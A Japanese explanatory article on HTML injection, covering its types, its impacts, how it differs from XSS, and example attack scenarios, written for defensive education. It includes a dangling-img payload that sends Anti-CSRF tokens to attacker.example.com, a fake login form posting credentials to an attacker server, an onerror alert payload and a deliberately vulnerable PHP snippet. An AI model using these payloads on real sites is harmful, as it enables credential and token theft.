HTMLインジェクション

1. HTMLインジェクションの概要

HTMLインジェクション(HTML Injection)は、サイバー攻撃者がウェブサイトやウェブアプリケーションの脆弱性を悪用し、不正なHTMLコードを挿入する攻撃手法です 1。現代のウェブページは、その構造や表示内容を定義するためにHTML(HyperText Markup Language)に大きく依存しています 1。多くのウェブページは動的であり、ユーザーの入力や操作に応じて表示内容が変化します。この動的な性質が悪用されると、HTMLインジェクションの脅威が生じます。

1.1. HTMLインジェクションの定義と基本的な仕組み

HTMLインジェクションは、ユーザーが入力したデータがウェブページやアプリケーションによって適切に検証(バリデーション)または無害化(サニタイズ)されずに出力される際に発生するインジェクション型の脆弱性です 3。攻撃者は、この処理の不備を突き、HTMLタグを含む不正なデータを送信します。その結果、攻撃者が挿入したHTMLコードが正規のHTMLコンテンツの一部として被害者のブラウザで解釈・実行されてしまいます 3

この攻撃の主な標的はウェブアプリケーションの利用者であり、ウェブサーバー自体が直接的な攻撃対象となるわけではありません 1。攻撃者は、コメント欄、検索ボックス、問い合わせフォームなど、ユーザーがデータを入力できる箇所を悪用して不正なHTMLを注入します 1。例えば、一見無害なコメントに見せかけてHTMLコードを埋め込み、他のユーザーを改ざんされたページに誘導したり、マルウェアのダウンロードを促したりすることが可能です 1

機能面では、HTMLインジェクションはクロスサイトスクリプティング(XSS)攻撃と類似しており、同じ伝達経路を辿ることが多いとされています 1。両者の主な違いは、挿入されるコードの種類と主目的であり、HTMLインジェクションは必ずしもスクリプトの実行を伴いませんが、XSSは悪意のあるスクリプトの実行を目的とします。この点については後述します。

1.2. HTMLインジェクションの一般的な原因

HTMLインジェクションの根本的な原因は、ユーザーからの入力を適切に処理せずにHTMLコンテキストに出力してしまうことにあります。具体的には、以下の点が挙げられます。

  • 入力値の検証不備: アプリケーションがユーザーからの入力を無条件に信頼し、期待されるデータ型、形式、文字種、長さなどを検証しない場合、攻撃者は容易に不正なHTMLを挿入できます 2
  • 出力時のエンコーディング不備: ユーザーの入力値をHTMLページに表示する際に、HTML特殊文字(例:<, >, &, “, ‘)を適切にエスケープ(HTMLエンティティ化)しないと、それらの文字がHTMLタグとして解釈されてしまいます 3
  • 不適切なDOM操作: JavaScriptを用いて動的にHTMLコンテンツを生成する際に、innerHTMLプロパティやdocument.write()メソッドなどにユーザー入力を直接代入し、かつその入力がサニタイズされていない場合、HTMLインジェクションが発生しやすくなります 2
  • 設定ミス: ウェブサーバーの設定不備や、セキュリティ対策機能の誤った設定も、間接的にHTMLインジェクションを許容する要因となり得ます 2

これらの原因の多くは、開発者のセキュリティ意識の欠如や、安全なコーディングプラクティスの不徹底に起因することが少なくありません 2

1.3. OWASP Top 10におけるインジェクションの位置づけ

OWASP(Open Web Application Security Project)が発行する「OWASP Top 10」は、Webアプリケーションにおける重大なセキュリティリスクをまとめたものです 4。2021年版のOWASP Top 10では、「A03:2021-インジェクション」が3位にランクインしており、依然として深刻な脅威であることが示されています 5。このカテゴリにはSQLインジェクションやOSコマンドインジェクションなど様々なインジェクション攻撃が含まれますが、特筆すべき点として、2021年版からクロスサイトスクリプティング(XSS)もこの「インジェクション」カテゴリに統合されました 5

HTMLインジェクションはXSSと密接に関連しており、XSSはHTMLインジェクションの一形態と見なすことができます。したがって、OWASP Top 10でインジェクションが依然として上位に位置づけられている事実は、HTMLインジェクション(およびそれが引き起こす可能性のあるXSS)が広範かつ深刻な問題であり続けていることを示しています。多くの組織において、基本的な入力検証や出力エンコーディングといった対策が依然として不十分である可能性が示唆されます。これは、単に技術的な課題に留まらず、開発プロセスの成熟度、セキュリティ教育の浸透度、そしてツールによるサポート体制など、組織全体のセキュリティ文化や開発プラクティスに関わるより広範な問題であると捉えることができます。

2. HTMLインジェクションの種類

HTMLインジェクション攻撃は、攻撃コード(ペイロード)がどのようにサーバーに保存され、ユーザーに配信されるかによって、主に「格納型(Stored)」、「反射型(Reflected)」、そして「DOMベース(DOM-based)」の3種類に分類されます 1

2.1. 格納型HTMLインジェクション (Stored HTML Injection)

格納型HTMLインジェクションは、攻撃者が注入した悪意のあるHTMLコードが、ウェブアプリケーションのデータベースやファイルシステムなどのサーバーサイドに永続的に保存されるタイプです 1。この保存された不正なHTMLコードは、他のユーザーが特定のページ(例:掲示板の投稿一覧、コメント表示エリア、ユーザープロフィールページなど)にアクセスした際に、正規のコンテンツの一部として配信され、被害者のブラウザで実行されます 2

特徴とメカニズム:

  • 永続性: 攻撃コードがサーバーに保存されるため、「永続的(Persistent)」HTMLインジェクションとも呼ばれます 2
  • 広範囲な影響: 一度の攻撃で、そのページを閲覧する不特定多数のユーザーが影響を受ける可能性があります 1
  • 典型的な攻撃箇所: ユーザーが投稿したコンテンツが他のユーザーにも表示される機能(フォーラム、ブログのコメント欄、製品レビュー、SNSの投稿など)が主な標的となります 2。例えば、攻撃者がフォーラムに悪意のあるスクリプトを埋め込んだ投稿を行い、その投稿を閲覧した他のユーザーが被害に遭うといったシナリオが考えられます 2

格納型HTMLインジェクションの深刻な点は、一度攻撃が成功すると、脆弱性が修正されるまで被害が自動的に拡大し続ける可能性があることです。悪意のあるコードがサーバーに「保存」され、正規のコンテンツ配信プロセスの一部としてユーザーに提供され続けるため、攻撃者が追加のアクションを起こさなくても、新たな被害者が継続的に発生し得ます。このため、発見と修正が遅れるほど、被害者数と影響は指数関数的に増大するリスクを孕んでおり、これは都度ユーザーを悪意のあるリンクへ誘導する必要がある反射型攻撃との大きな違いです。

2.2. 反射型HTMLインジェクション (Reflected HTML Injection)

反射型HTMLインジェクションは、攻撃者が用意した不正なHTMLコードを含むURLを被害者にクリックさせるなどして、そのHTMLコードをウェブサーバーに送信させ、サーバーからの応答(レスポンス)にそのコードが含まれて被害者のブラウザで実行されるタイプです 1。攻撃コードはサーバーには保存されません。

特徴とメカニズム:

  • 非永続性: 攻撃コードはサーバーに保存されず、リクエストごとに「反射」される形で実行されるため、「非永続的(Non-Persistent)」HTMLインジェクションとも呼ばれます 2
  • ユーザー誘導が必要: 攻撃を成功させるためには、攻撃者が細工したURLをメールやSNSメッセージなどで被害者に送り、クリックさせるなどの誘導行為が必要です 2
  • 典型的な攻撃箇所: 検索結果表示ページ、エラーメッセージ表示ページ、URLパラメータの内容をページ内に表示する機能などが悪用されやすいです。例えば、サイト内検索機能の検索キーワード入力パラメータにHTMLコードを挿入したURLを作成し、それを被害者にクリックさせると、検索結果ページに不正なHTMLが表示される可能性があります。
  • HTTPメソッドによる分類: HTTPリクエストのメソッドに応じて、反射型GET、反射型POST、反射型URLの3種類に細分化されることもあります 1。反射型URLはサイトのURLを介して注入が行われ、反射型GETではデータが要求され、反射型POSTではデータが送信されます。

最も一般的な手法とされ、手間がかかる場合もありますが、コードが精密にページに埋め込まれるため成功率は高いと言われています 1

2.3. DOMベースHTMLインジェクション (DOM-based HTML Injection)

DOMベースHTMLインジェクションは、サーバーサイドの処理とは直接関係なく、被害者のブラウザ上で動作するクライアントサイドスクリプト(主にJavaScript)が、DOM(Document Object Model)を不正に操作することによって発生するタイプです 2。攻撃者が制御可能なデータ(ソース)が、DOMを操作する危険な関数やプロパティ(シンク)に渡されることで、意図しないHTMLコードがページに挿入されます。

特徴とメカニズム:

  • クライアントサイドでの発生: 攻撃は完全にクライアントサイドで完結することが多く、サーバーのログには攻撃の痕跡が残りにくい場合があります。
  • ソースとシンク: DOMベースの脆弱性では、「ソース」と「シンク」の概念が重要です。
  • ソース (Source): 攻撃者が制御可能なデータの入力ポイントを指します。代表的なものにURLのフラグメント識別子(#以降の部分)、location.search(クエリ文字列)、document.referrer、document.cookie、WebメッセージAPI経由のデータなどがあります 7
  • シンク (Sink): ソースから渡されたデータを処理し、HTMLの挿入やスクリプトの実行など、潜在的に危険な動作を引き起こす可能性のあるJavaScriptの関数やDOMのプロパティを指します。例として、element.innerHTML、document.write()、eval()などが挙げられます 7
  • 例: ウェブページがURLのフラグメント(例: example.com/page#<img src=x onerror=alert(1)>)を取得し、その内容をJavaScriptでinnerHTMLを使ってページ内に表示する場合、サニタイズが不十分だとHTMLインジェクションが発生します 2

DOMベースHTMLインジェクションの検出と対策の難易度は、現代の複雑なフロントエンドJavaScriptフレームワーク(React, Angular, Vue.jsなど)の普及によって増大していると考えられます。これらのフレームワークはDOM操作を高度に抽象化し、データの流れを追跡しにくくするため、開発者が意図しない形でソースからシンクへのデータ伝播が発生しやすくなります。例えば、開発者が直接innerHTMLやdocument.writeといった危険なシンクを記述していなくても、フレームワークの内部処理や利用しているサードパーティライブラリが間接的にこれらのシンクにデータを渡してしまう可能性があります。ソースからシンクへのデータの流れが複雑化・抽象化されることで、静的解析や手動レビューによる脆弱性の特定はより困難になります。このため、フレームワーク固有のセキュリティベストプラクティスを深く理解し、クライアントサイドのコードに対するより高度なセキュリティテスト(例:DOMベースXSSに特化したツールや手法の活用)の必要性が高まっています。

2.3.1. DOMの概要とソース・シンクの概念 (Overview of DOM and Concepts of Sources & Sinks)

DOM(Document Object Model)は、WebブラウザがHTMLやXML文書を構造化されたオブジェクトのツリーとして表現し、プログラム(主にJavaScript)からアクセス・操作するためのインターフェースです 7。JavaScriptはDOMを通じて、Webページの構造、スタイル、コンテンツを動的に変更することができます。

DOMベースの脆弱性において、「ソース」とは、攻撃者がその値をある程度制御できるJavaScriptのプロパティやオブジェクトを指します 7。これには、URLのクエリパラメータ (location.search)、URLフラグメント (location.hash)、document.referrer(リファラ情報)、document.cookie(クッキー情報)、window.name、Web Storage (localStorage/sessionStorage)、postMessage APIで受信したデータなどが含まれます。

一方、「シンク」とは、ソースから渡されたデータを処理する際に、そのデータの内容次第で危険な動作(例: HTMLの挿入、スクリプトの実行、リダイレクトなど)を引き起こす可能性のあるJavaScriptの関数やDOMのプロパティ、メソッドのことです 7。HTMLインジェクションに関連する代表的なシンクには、element.innerHTML、element.outerHTML、document.write()、document.writeln() などがあります。また、eval()、setTimeout()、setInterval() に文字列としてコードを渡す場合や、location.href にユーザー制御可能なURLを代入する場合も危険なシンクとなり得ます。

DOM、ソース、シンクの概念を正しく理解することは、DOMベースHTMLインジェクションがどのように発生し、アプリケーションのどの部分に注意を払うべきかを特定するために不可欠です。攻撃者は、制御可能なソースから入力したデータを、脆弱なシンクへと到達させる経路を見つけ出すことで攻撃を成立させます。

3. HTMLインジェクションによる影響とリスク

HTMLインジェクション攻撃が成功すると、ウェブサイトの利用者や運営組織に対して様々な悪影響やリスクが生じます。これらはウェブサイトの見た目の改ざんといった比較的軽微なものから、機密情報の窃取やマルウェア感染といった深刻なものまで多岐にわたります。

3.1. ウェブサイトの改ざん (Website Defacement)

攻撃者はHTMLインジェクションを利用して、ウェブページの外観や表示されるコンテンツを不正に変更することができます 1。これには、攻撃者の主張を掲載したり、不快な画像やメッセージを表示したり、あるいは単にウェブサイトのレイアウトを破壊したりする行為が含まれます。このような改ざんは、企業のブランドイメージを著しく損ない、訪問者の信頼を失墜させる可能性があります 1。特に、政治的・個人的な理由で特定の組織の評判を貶める目的で行われることもあります 6

HTMLインジェクションによる「ウェブサイトの改ざん」は、単に見た目が変わるという問題に留まらず、より広範な社会経済的な混乱を引き起こすトリガーとなる可能性を秘めています。例えば、信頼されているニュースサイトや政府機関の公式サイトが改ざんされ、偽情報(フェイクニュース)が掲載された場合、それが正規の情報として拡散し、社会的なパニックを引き起こしたり、特定の企業の株価を不当に操作したりする材料として悪用される危険性があります。実際に、クロスサイトスクリプティング(XSS)の文脈ではありますが、プレスリリースやニュース項目の改変が企業の株価に影響を与えたり、消費者の信頼を低下させたりする可能性が指摘されています 8。これは、技術的な脆弱性が社会的な影響へと波及する典型例と言えるでしょう。

3.2. セッションハイジャックと認証情報の窃取 (Session Hijacking and Credential Theft)

HTMLインジェクションを介してスクリプト(特にXSSに繋がる場合)を挿入することで、ユーザーのセッションCookieを盗み出し、そのセッションを乗っ取ることが可能です 1。セッションハイジャックが成功すると、攻撃者は被害者になりすましてウェブサイト上の操作を行ったり、個人情報にアクセスしたりすることができます。

また、HTMLインジェクションを利用して偽のログインフォームをページ内に挿入し、ユーザーを騙してユーザー名やパスワードといった認証情報を入力させ、それらを攻撃者のサーバーに送信させる手口も一般的です 1。さらに巧妙な手口として、ブラウザのパスワードマネージャーに保存されている認証情報が自動的に入力されるように細工されたフォームを注入することもあります 1。これらの攻撃は、ユーザーアカウントの完全な乗っ取りや、機密情報の漏洩に直結する深刻な脅威です。

3.3. フィッシング攻撃への悪用 (Exploitation for Phishing Attacks)

HTMLインジェクションは、フィッシング攻撃を効果的に行うための手段としても悪用されます。攻撃者は、信頼されているウェブサイトのドメイン上で、HTMLインジェクションによって偽の入力フォームや警告メッセージ、指示などを表示させることができます 6。挿入されたHTMLコンテンツは、そのウェブサイトの正規のコンテンツの一部としてブラウザに表示されるため、ユーザーはそれが偽物であることを見破ることが非常に困難になります。結果として、ユーザーは誤ってクレジットカード情報、オンラインバンキングの認証情報、個人情報などの機密情報を入力してしまい、攻撃者に窃取されるリスクがあります。信頼されたドメインが悪用されるため、一般的なフィッシングメールなどと比較して成功率が高まる傾向にあります。

3.4. マルウェアの配布 (Malware Distribution)

攻撃者は、不正なHTMLコードをウェブページに注入することで、ユーザーのブラウザにマルウェア(ウイルス、ランサムウェア、スパイウェアなど)をダウンロードさせたり、マルウェアがホストされている悪意のあるウェブサイトへ自動的にリダイレクトさせたりすることが可能です 1。例えば、<iframe>タグを注入して目に見えない形で悪意のあるサイトを読み込ませたり、リダイレクトを引き起こすHTMLタグやスクリプトを挿入したりする手口があります。ユーザーは意図しないうちにマルウェアに感染し、自身のデバイスが危険に晒されるだけでなく、さらなるサイバー攻撃の踏み台として悪用される可能性もあります。

3.5. 信頼性の失墜とビジネスへの影響 (Loss of Trust and Business Impact)

ウェブサイトの改ざん、セッションハイジャックによる不正アクセス、フィッシングによる情報漏洩、マルウェア感染といったインシデントが発生すると、ユーザーはそのウェブサイトや運営企業に対する信頼を大きく損ないます 1。一度失われた信頼を回復することは容易ではありません。結果として、顧客離れ、ブランドイメージの著しい低下、株価の下落、対応コストの発生、場合によっては法的責任の追及や賠償金の支払いなど、ビジネスに深刻かつ広範囲な影響が及ぶ可能性があります 4。特に、管理者権限を持つユーザーが被害に遭った場合、ウェブアプリケーション全体の制御を奪われる可能性も否定できません 6

3.6. Anti-CSRFトークンの窃取 (Theft of Anti-CSRF Tokens)

HTMLインジェクションは、クロスサイトリクエストフォージェリ(CSRF)攻撃対策として用いられるAnti-CSRFトークンを窃取するためにも悪用されることがあります 6。Anti-CSRFトークンは通常、フォーム内の隠しフィールド(<input type=”hidden”>)に埋め込まれています。攻撃者は、例えば終了タグが欠落した<img>タグや<textarea>タグなどを注入することで、その後に続くHTMLコード(Anti-CSRFトークンを含む部分)を攻撃者が制御するサーバーへのリクエストパラメータの一部として送信させることができます 6

例えば、以下のようなペイロードが考えられます。

<img src=’http://attacker.example.com/record.php?data=

この後に正規のフォームとAnti-CSRFトークンが続くと、トークンを含む部分がdataパラメータの値として攻撃者のサーバーに送信されてしまいます。

窃取されたAnti-CSRFトークンは、その後のCSRF攻撃を成功させるために悪用される可能性があります。CSRF攻撃自体はユーザーの意図しない操作を実行させるものですが、Anti-CSRFトークンによって保護されている場合、通常は攻撃が困難です。しかし、事前にHTMLインジェクションでトークンを入手しておくことで、この保護を回避し、攻撃の成功率を高めることができるのです。これは、HTMLインジェクションが単独の攻撃に留まらず、より標的型の深刻な攻撃(例:特定のユーザーアカウントに対する不正な資金移動や設定変更)を行うための準備段階として利用される可能性を示唆しています。防御側は、このような攻撃の連鎖を意識し、包括的な対策を講じる必要があります。

4. HTMLインジェクションとクロスサイトスクリプティング(XSS)の関係

HTMLインジェクションとクロスサイトスクリプティング(XSS)は密接に関連する脆弱性ですが、その定義と影響範囲には違いがあります。これらの違いを理解することは、適切なリスク評価と対策を講じる上で非常に重要です。

4.1. XSSの概要 (Overview of XSS)

クロスサイトスクリプティング(XSS)は、攻撃者が悪意のあるスクリプト(主にJavaScript)を、本来信頼されているはずのウェブサイトに注入し、それを他のエンドユーザーのブラウザ上で実行させるインジェクション攻撃の一種です 8。この脆弱性は、ウェブアプリケーションがユーザーからの入力を適切に検証またはエンコードせずに、動的なコンテンツとしてHTMLページに出力する際に発生します 8。被害者のブラウザは、注入されたスクリプトをウェブサイトから提供された正規のスクリプトと区別できないため、そのまま実行してしまいます。これにより、攻撃者は被害者のセッション情報(クッキーなど)を窃取したり、ウェブページの内容を書き換えたり、その他の悪意のある操作を行うことが可能になります 8

XSS攻撃は、そのペイロードがどのように配信・実行されるかによって、主に「反射型XSS(Reflected XSS)」、「格納型XSS(Stored XSS)」、そして「DOMベースXSS(DOM-based XSS)」に分類されます 8

4.2. HTMLインジェクションとXSSの相違点と共通点 (Differences and Similarities between HTML Injection and XSS)

共通点:

HTMLインジェクションとXSSは、どちらもユーザーからの入力をウェブページに挿入する際の処理不備を悪用するインジェクション型の脆弱性であるという点で共通しています。攻撃の基本的な発生メカニズムや、攻撃コードが送り込まれる経路(入力ポイント)は非常に類似しています 1。

相違点:

主な違いは、挿入されるコードの種類と、それによる主たる攻撃目的です。

  • HTMLインジェクション: 任意のHTMLタグ(例: <b>、<img>、<iframe>、<form>など)の挿入を指します。必ずしもクライアントサイドスクリプトの実行を伴うわけではありません。主な目的は、ウェブサイトの見た目の改ざん、フィッシング目的での偽フォームの設置、ユーザーの混乱を招く情報の表示、不正なリダイレクトなどです 6
  • XSS: 特に悪意のあるスクリプト(典型的には<script>タグや、onerror、onloadなどのイベントハンドラ属性に埋め込まれたJavaScriptコード)を挿入し、被害者のブラウザ上で実行させることを目的とします。これにより、セッションハイジャック、キー入力の盗聴、より高度なクライアントサイド攻撃(DOM操作を通じた機密情報の窃取など)が可能になります 8

関係性:

この二つの脆弱性の関係は、「全てのXSSはHTMLインジェクションの一形態であるが、全てのHTMLインジェクションがXSSであるとは限らない」と表現できます 9。つまり、HTMLインジェクションが成功し、かつその挿入されたHTMLコードにスクリプト実行能力のあるタグや属性(例: <script>、<img src=x onerror=alert(1)>)が含まれており、それがブラウザによって解釈・実行された場合にXSSが成立します。HTMLインジェクションはより広範な概念であり、XSSはその中で特にスクリプト実行を伴うケースを指すと言えます。

以下の表は、HTMLインジェクションとXSSの主な特徴を比較したものです。

特徴HTMLインジェクションクロスサイトスクリプティング (XSS)
定義任意のHTMLタグをWebページに挿入する脆弱性 3悪意のあるスクリプトをWebページに挿入し実行させる脆弱性 8
主目的ページの改ざん、フィッシング、レイアウト破壊、不正リダイレクト 6スクリプト実行によるセッションハイジャック、情報窃取、キー入力盗聴 8
典型ペイロード<img>, <a>, <iframe>, <form>, <marquee>, <font>, <b> 9<script>, onerror, onload, onmouseover, javascript: URL 8
スクリプト実行必ずしも伴わない 9必須 8
影響範囲の例偽情報表示、不正リダイレクト、偽フォーム設置による情報詐取 6Cookie窃取、キー入力盗聴、DOM操作による機密情報アクセス、マルウェア感染誘導、アカウント乗っ取り 8

4.3. なぜ区別が重要か (Why the Distinction is Important)

HTMLインジェクションとXSSを区別することの重要性は、リスク評価の精度と対策の適切性に関わってきます。たとえウェブサイトがContent Security Policy (CSP) などによってスクリプトの実行を厳しく制限していたとしても、HTMLインジェクションが可能であれば依然として重大な脅威となり得ます 9

例えば、<script>タグの実行がブロックされていても、攻撃者は以下のようなHTMLタグを注入することで被害を引き起こすことができます。

  • <a>タグや<meta http-equiv=”refresh”>タグ: ユーザーを悪意のあるフィッシングサイトへリダイレクトさせる 9
  • <img>タグ: 不適切な画像を表示してウェブサイトの評判を傷つけたり、src属性に不正な値を設定してリクエストを外部に送信させたりする(情報の部分的な窃取)。
  • <iframe>タグ: 外部の不正なコンテンツ(フィッシングページなど)をページ内に埋め込む 9
  • <form>タグ: 偽の入力フォームを設置し、ユーザー情報を攻撃者のサーバーに送信させる。
  • 単純なテキストやスタイル変更タグ (<b>, <font>, <marquee>など): ページコンテンツを改ざんし、偽情報を表示したり、ユーザーの混乱を招いたりする。

このように、スクリプト実行を伴わないHTMLインジェクションであっても、ウェブサイトの信頼性を損ない、ユーザーに被害を与える可能性があります。したがって、セキュリティ対策を検討する際には、XSS対策(スクリプト実行の阻止)だけでなく、広範なHTMLタグの無害化も考慮に入れる必要があります。リスク評価においては、スクリプト実行の可否だけでなく、挿入可能なHTMLタグの種類、それらが持つ属性、そしてそれらが引き起こしうる影響を総合的に判断することが求められます。

この区別の理解は、防御策の「深さ」と「広さ」のバランスを考える上で指針となります。XSS対策は、スクリプト実行という特定の高度な脅威に対処するため、「深い」対策を追求する傾向があります。一方で、HTMLインジェクション対策は、スクリプト実行以外の多様なHTMLタグが悪用される可能性も考慮し、より「広い」範囲の脅威に対応する必要があります。例えば、CSPポリシーを策定する際には、script-srcディレクティブだけでなく、frame-src、img-src、form-actionといった他のディレクティブも適切に設定する必要性や、サニタイズ処理で許可するHTMLタグとその属性を慎重に選定する必要性がここから導かれます。

5. 具体的な攻撃シナリオとコード例

HTMLインジェクションは、ウェブアプリケーションの様々な入力ポイントを介して実行されます。ここでは、代表的な攻撃シナリオと、脆弱性を含む可能性のあるコードの例をいくつか紹介します。

5.1. 入力フォームを介したインジェクション (Injection via Input Forms)

ウェブサイト上のコメント欄、レビュー投稿フォーム、ユーザー登録フォーム、検索ボックス、お問い合わせフォームなど、ユーザーがテキスト情報を入力できる箇所は、HTMLインジェクションの一般的な攻撃ポイントです 1。攻撃者はこれらのフォームに、HTMLタグやJavaScriptコード(XSSに繋がる場合)を埋め込んだデータを送信します。アプリケーションがこの入力を適切に処理せずにデータベースに保存し、後で他のユーザーのブラウザに表示する際(格納型)、あるいは入力直後に確認ページなどで表示する際(反射型)に、注入されたHTMLが解釈・実行されます。

例 (PHPの脆弱なコード):

10および10で示されているPHPコードの例では、$_REQUEST[‘name’] で受け取ったユーザー入力をそのままHTML内に出力しています。

PHP

<?php $name = $_REQUEST[‘name’];?>
<html>
  <h1>Welcome to the Internet!</h1>
  <br>
  <body>
    Hello, <?php echo $name;?>!
    <p>We are so glad you are here!</p>
  </body>
</html>

攻撃者は、このnameパラメータに以下のようなHTMLコードを注入できます 10。

`<h3>Please Enter Your Username and Password to Proceed:</h3><form method=”POST” action=”http://attackerserver/login.php”>Username: <input type=”text” name=”username” /><br />Password: <input type=”password” name=”password” /><br /><input type=”submit” value=”Login” /></form>

引用文献

  1. HTMLインジェクションとは? 対策と予防 – Wallarm https://www.wallarm.com/jp/what/html-injection
  2. What Is HTML Injection | Types, Risks & Mitigation Techniques | Imperva https://www.imperva.com/learn/application-security/html-injection/
  3. Testing for HTML Injection – WSTG – Latest | OWASP Foundation https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection
  4. OWASP Top 10 ―世界が注目するWebアプリケーションの重大リスクを知る― | SQAT®.jp https://www.sqat.jp/kawaraban/19963/
  5. ホーム – OWASP Top 10:2021 https://owasp.org/Top10/ja/
  6. HTML Injection – Invicti https://www.invicti.com/learn/html-injection/
  7. DOM-based vulnerabilities | Web Security Academy – PortSwigger https://portswigger.net/web-security/dom-based
  8. Cross Site Scripting (XSS) | OWASP Foundation https://owasp.org/www-community/attacks/xss/
  9. The Ultimate Guide to Finding HTML Injection Vulnerabilities … https://spyboy.blog/2025/04/26/the-ultimate-guide-to-finding-html-injection-vulnerabilities-guaranteed-method-top-payloads-tools/
  10. Content Spoofing | OWASP Foundation https://owasp.org/www-community/attacks/Content_Spoofing